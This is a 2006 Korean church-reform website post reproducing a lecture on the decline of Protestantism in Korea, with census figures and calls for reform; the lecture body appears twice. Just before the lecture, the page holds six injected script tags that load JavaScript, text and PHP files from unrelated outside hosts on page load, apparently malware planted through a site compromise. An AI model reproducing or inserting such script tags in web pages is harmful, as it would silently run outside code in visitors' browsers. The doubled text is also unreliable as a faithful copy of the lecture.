칼럼 [구교형 강의]복음으로 세상을 어떻게 섬기려는가
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작성자 by 관리자 / 작성일06-08-10 14:39 / 조회 4,980 / 댓글0본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script> [2006 성서한국 교회개혁 영역 강의안]복음으로 세상을 어떻게 섬기려는가(행 2:43~47)
구교형 사무국장(교회개혁실천연대)
2004년 현재 최근 5년 동안 약 11% 감소했다는 통계가 있다. 이러한 사정은 교회 뿐 아니라 대학청년층 선교에 주력하는 선교단체들도 마찬가지다. 03년에 조사한 캠퍼스 사역 컨퍼런스에 따르면 주요 학생선교단체의 여름수련회 참가자 수가 2001년 이래 계속 감소하고 있다고 한다. 전체적으로 3년 만에 9% 정도 감소했다. 심지어 일부 단체들은 사역이 어려운 지역에서 철수하기도 했다.
또 최근 조사에 의하면 지난 5월 통계청이 실시한 ‘인구주택총조사’ 결과가 발표되었는데 아주 놀라운 것이었다.
‘이 조사에 의하면, 개신교가 불교, 천주교를 포함한 대한민국 3대 종교 중, 지난 10년간 유일하게 마이너스 성장을 하였다. 2005년 11월 1일을 기준으로 하여 10년 전인 1995년도와 비교해볼 때 개신교는 1995년 876만 명으로 인구구성비에서 19.7%였는데 2005년도에 861만 1000명으로 절대적 인구에서 14만 4000명이 줄어들고 1.6% 마이너스 성장을 했다. 이러므로 현재 개신교는 인구구성비에서 18.3%를 차지하고 있다.
이에 비해 불교는 인구구성비에서는 23.2%에서 22.8%로 0.5%로 감소하기는 했으나, 절대숫자에 있어서는 1072만 6000명으로 40만 5000명이 증가하였으며, 천주교는 놀랍게도 295만여 명에서 514만여 명으로 219만 5000명이 증가하여 74.4%라는 경이로운 성장을 기록하였다. 이로써 현재 천주교는 10년 전 인구구성비 6.6% 수준에서 10.9%로 급하게 성장하게 된 것이다(중략).
여기에 우리들에게 의미 있게 다가오는 통계수치는 전체 종교인구의 증가이다. 지난 10년간 종교인구구성비는 50.7%에서 53.1%로 절대인구수치로 237만여 명이 증가하였다.‘ [조성돈/뉴스앤조이 기사인용]
그 핵심에는 교회(기독교)에 대한 세상(사회)의 불신이 있다(최대 종교이탈율, 최소 종교호감도). 또 올해 ‘한국교회미래를준비하는모임’ 조사 결과 종교 지도자의 자질이 우수성을 묻는 질문 역시 개신교(12.0%) 천주교(31.8%) 불교(21.2%)로, 개신교 종교지도자에 대한 비종교인의 불신이 높은 것으로 확인됐다. 그러므로 우리 교회는 아직 끄떡없다는 식으론 안된다.
90년대 초까지만 해도 사회적 문제에 대한 기독교계의 입장이 중요한 여론이었다. 그러나 지금은 구색맞추기의 대상일 뿐이다. 단순한 숫자의 문제가 아니라 세상에 대한 올바른 영향력이 문제다. 현재 한국사회의 대표적인 종교들 사이에 이렇게 큰 격차가 쌓여가는 것은 세상을 대하는 자세의 차이로부터 비롯되었다. 그런 의미에서 자업자득이다.
한 가지 단적인 예로 2002년 월드컵축구대회를 앞두고 개신교와 불교, 두 종단의 너무나도 대조적인 준비의 모습을 보였다(예 기독교-월드컵선교단, 붉은 악마 개칭운동/불교-템플스테이, 전통문화체험코스). 그 외에도 조계사 개축의 방향, 불교계 소년소녀 가장들과의 결연 및 1사찰 1복지시설 결연운동, 동지맞이 팥죽행사 등도 좋은 예이다. 그런데 교회는 여전히 뾰족 첨탑을 달고 고압적이고 문화이질적인 모습으로 일반인들을 대하기 일쑤다. 결국 교회는 이웃들과 지리적 거리는 가까운데 심리적 거리가 멀고, 사찰은 지리적 거리는 엄청나게 멀리 있지만 마음속에 파고드는 심리적 거리는 갈수록 가까워지고 있다. 이러한 대조적인 이미지는 언론 및 광고매체 등을 통해 다양하게 확인할 수 있다.
무엇보다 불교는 생명, 평화, 대안과 미래의 이미지로 거듭나고 있는데, 기독교는 이기적 문명, 정복, 물질주의적 가치관의 모습을 벗어버리지 못하고 있다. 2007년 평양대부흥운동 100주년을 앞두고 새로운 부흥을 위한 구호가 난무하고 있지만 한국교회는 지금 부흥을 외치기에 앞서 시급히, 그리고 근본적인 대수술을 단행해야 한다. 우리의 영적 수준은 둘째치고라도, 사회적 수준자체가 세상을 책임질만하지 않기 때문이다.
- 사립학교법 개정반대운동
- 목회자 세금납부에 대한 반응
- 다빈치코드에 대한 신경질적 반응
교회개혁실천연대는 그런 문제의식에서 시작되었다.
교회개혁실천연대의 운동방향
- 현안대처운동
- 구조개혁운동
- 협력지원운동
한국교회사를 살펴보면 너무나도 대조되는 명암이 있다.
명: 우리 한국교회가 겨우 120여 년이라는 짧은 선교역사에도 불구하고 폭발적인 성장을 이룩할 수 있었던 데에는 인간적으로 말하면 복음이 주는 효과가 시대적 상황과 맞아 떨어졌기 때문이다(근대적 교육, 병원선교, 남녀평등, 민주적 운영, 민족의식 함양 등). 그래서 당시의 선각자들은 기독교를 단순한 한 종교라고 보지 않았다. 그 때 한국교회가 폭발적 성장을 했다.
선교사들의 이권추구, 지나친 교권주의(교리주의, 파벌주의), 민족의식 억압, 분단과 냉전의식의 수호자, 독재정권의 하수인 역할과 그 보상, 친미사대와 수구의 선두. 그 결과 지금 한국교회는 세상 돌아가는 사정에 가장 어둡고, 시대변화에 가장 뒤떨어진 왕따가 되었다(주5일제 반대, 사립학교법 개정 반대, 호주제법 폐지 반대).
전도(선교), 그러면 우리는 단순히 사영리 또는 무슨 질문을 해도 막힘이 없는 달변의 능력만을 떠올리기 쉽지만 사실 전도란 하나님을 전하기 위해 우리가 행할 수 있는 의식적이고 총체적인 모든 시도, 접촉점을 일컫는다. 오늘 본문이 그걸 말해준다. 교회의 존립목적은 종교인들을 만들어내는 게 아니라 주님 닮은(냄새를 풍기는) 그리스도의 제자들을 만들어 내고, 그 결과로 만들어진 교회로 인해 세상이 소망을 얻는 것이다. 교회가 그러한 하나님나라의 일들을 왕성하게 감당할 때 세상에서는 결코 흉내낼 수도 없는 참다운 만족과 놀라운 은혜를 선물로 받을 수 있다. 그리고 그것을 영원히 누리는 복을 얻게 된다.
그런 면에서 우리는 다원화된 사회에서 어떻게 합당한 그리스도인으로 살아갈 것인가에 대한 심각한 고민이 지금 이루어져야 한다.
구교형 사무국장(교회개혁실천연대)
2004년 현재 최근 5년 동안 약 11% 감소했다는 통계가 있다. 이러한 사정은 교회 뿐 아니라 대학청년층 선교에 주력하는 선교단체들도 마찬가지다. 03년에 조사한 캠퍼스 사역 컨퍼런스에 따르면 주요 학생선교단체의 여름수련회 참가자 수가 2001년 이래 계속 감소하고 있다고 한다. 전체적으로 3년 만에 9% 정도 감소했다. 심지어 일부 단체들은 사역이 어려운 지역에서 철수하기도 했다.
또 최근 조사에 의하면 지난 5월 통계청이 실시한 ‘인구주택총조사’ 결과가 발표되었는데 아주 놀라운 것이었다.
‘이 조사에 의하면, 개신교가 불교, 천주교를 포함한 대한민국 3대 종교 중, 지난 10년간 유일하게 마이너스 성장을 하였다. 2005년 11월 1일을 기준으로 하여 10년 전인 1995년도와 비교해볼 때 개신교는 1995년 876만 명으로 인구구성비에서 19.7%였는데 2005년도에 861만 1000명으로 절대적 인구에서 14만 4000명이 줄어들고 1.6% 마이너스 성장을 했다. 이러므로 현재 개신교는 인구구성비에서 18.3%를 차지하고 있다.
이에 비해 불교는 인구구성비에서는 23.2%에서 22.8%로 0.5%로 감소하기는 했으나, 절대숫자에 있어서는 1072만 6000명으로 40만 5000명이 증가하였으며, 천주교는 놀랍게도 295만여 명에서 514만여 명으로 219만 5000명이 증가하여 74.4%라는 경이로운 성장을 기록하였다. 이로써 현재 천주교는 10년 전 인구구성비 6.6% 수준에서 10.9%로 급하게 성장하게 된 것이다(중략).
여기에 우리들에게 의미 있게 다가오는 통계수치는 전체 종교인구의 증가이다. 지난 10년간 종교인구구성비는 50.7%에서 53.1%로 절대인구수치로 237만여 명이 증가하였다.‘ [조성돈/뉴스앤조이 기사인용]
그 핵심에는 교회(기독교)에 대한 세상(사회)의 불신이 있다(최대 종교이탈율, 최소 종교호감도). 또 올해 ‘한국교회미래를준비하는모임’ 조사 결과 종교 지도자의 자질이 우수성을 묻는 질문 역시 개신교(12.0%) 천주교(31.8%) 불교(21.2%)로, 개신교 종교지도자에 대한 비종교인의 불신이 높은 것으로 확인됐다. 그러므로 우리 교회는 아직 끄떡없다는 식으론 안된다.
90년대 초까지만 해도 사회적 문제에 대한 기독교계의 입장이 중요한 여론이었다. 그러나 지금은 구색맞추기의 대상일 뿐이다. 단순한 숫자의 문제가 아니라 세상에 대한 올바른 영향력이 문제다. 현재 한국사회의 대표적인 종교들 사이에 이렇게 큰 격차가 쌓여가는 것은 세상을 대하는 자세의 차이로부터 비롯되었다. 그런 의미에서 자업자득이다.
한 가지 단적인 예로 2002년 월드컵축구대회를 앞두고 개신교와 불교, 두 종단의 너무나도 대조적인 준비의 모습을 보였다(예 기독교-월드컵선교단, 붉은 악마 개칭운동/불교-템플스테이, 전통문화체험코스). 그 외에도 조계사 개축의 방향, 불교계 소년소녀 가장들과의 결연 및 1사찰 1복지시설 결연운동, 동지맞이 팥죽행사 등도 좋은 예이다. 그런데 교회는 여전히 뾰족 첨탑을 달고 고압적이고 문화이질적인 모습으로 일반인들을 대하기 일쑤다. 결국 교회는 이웃들과 지리적 거리는 가까운데 심리적 거리가 멀고, 사찰은 지리적 거리는 엄청나게 멀리 있지만 마음속에 파고드는 심리적 거리는 갈수록 가까워지고 있다. 이러한 대조적인 이미지는 언론 및 광고매체 등을 통해 다양하게 확인할 수 있다.
무엇보다 불교는 생명, 평화, 대안과 미래의 이미지로 거듭나고 있는데, 기독교는 이기적 문명, 정복, 물질주의적 가치관의 모습을 벗어버리지 못하고 있다. 2007년 평양대부흥운동 100주년을 앞두고 새로운 부흥을 위한 구호가 난무하고 있지만 한국교회는 지금 부흥을 외치기에 앞서 시급히, 그리고 근본적인 대수술을 단행해야 한다. 우리의 영적 수준은 둘째치고라도, 사회적 수준자체가 세상을 책임질만하지 않기 때문이다.
- 사립학교법 개정반대운동
- 목회자 세금납부에 대한 반응
- 다빈치코드에 대한 신경질적 반응
교회개혁실천연대는 그런 문제의식에서 시작되었다.
교회개혁실천연대의 운동방향
- 현안대처운동
- 구조개혁운동
- 협력지원운동
한국교회사를 살펴보면 너무나도 대조되는 명암이 있다.
명: 우리 한국교회가 겨우 120여 년이라는 짧은 선교역사에도 불구하고 폭발적인 성장을 이룩할 수 있었던 데에는 인간적으로 말하면 복음이 주는 효과가 시대적 상황과 맞아 떨어졌기 때문이다(근대적 교육, 병원선교, 남녀평등, 민주적 운영, 민족의식 함양 등). 그래서 당시의 선각자들은 기독교를 단순한 한 종교라고 보지 않았다. 그 때 한국교회가 폭발적 성장을 했다.
선교사들의 이권추구, 지나친 교권주의(교리주의, 파벌주의), 민족의식 억압, 분단과 냉전의식의 수호자, 독재정권의 하수인 역할과 그 보상, 친미사대와 수구의 선두. 그 결과 지금 한국교회는 세상 돌아가는 사정에 가장 어둡고, 시대변화에 가장 뒤떨어진 왕따가 되었다(주5일제 반대, 사립학교법 개정 반대, 호주제법 폐지 반대).
전도(선교), 그러면 우리는 단순히 사영리 또는 무슨 질문을 해도 막힘이 없는 달변의 능력만을 떠올리기 쉽지만 사실 전도란 하나님을 전하기 위해 우리가 행할 수 있는 의식적이고 총체적인 모든 시도, 접촉점을 일컫는다. 오늘 본문이 그걸 말해준다. 교회의 존립목적은 종교인들을 만들어내는 게 아니라 주님 닮은(냄새를 풍기는) 그리스도의 제자들을 만들어 내고, 그 결과로 만들어진 교회로 인해 세상이 소망을 얻는 것이다. 교회가 그러한 하나님나라의 일들을 왕성하게 감당할 때 세상에서는 결코 흉내낼 수도 없는 참다운 만족과 놀라운 은혜를 선물로 받을 수 있다. 그리고 그것을 영원히 누리는 복을 얻게 된다.
그런 면에서 우리는 다원화된 사회에서 어떻게 합당한 그리스도인으로 살아갈 것인가에 대한 심각한 고민이 지금 이루어져야 한다.